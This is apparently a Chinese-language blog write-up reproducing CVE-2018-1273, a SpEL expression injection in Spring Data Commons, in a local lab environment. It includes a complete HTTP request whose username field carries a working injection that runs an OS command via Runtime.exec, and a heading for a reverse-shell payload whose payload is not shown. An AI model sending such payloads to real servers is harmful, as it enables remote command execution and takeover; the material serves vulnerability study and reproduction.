Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)


Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。

参考链接:

环境启动后,访问 http://your-ip:8080/users,将可以看到一个用户注册页面。

漏洞复现

参考前面链接中的 Payload,在注册的时候抓包,并修改成如下数据包:

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

执行反弹 shell payload:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Apache Spark 未授权访问漏洞 Apache Spark 未授权访问漏洞
Apache Spark 未授权访问漏洞Apache Spark 是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动 ACL(访问控制),我们将可以在集群中执行任意代码。 漏洞环境执行如下命令,将以 st
2019-03-03
下一篇 
Spring Messaging 远程命令执行漏洞(CVE-2018-1270) Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)spring messaging 为 spring 框架提供消息支持,其上层协议是STOMP,底层通信基于 SockJS, 在 spring messaging
2019-03-03
  目录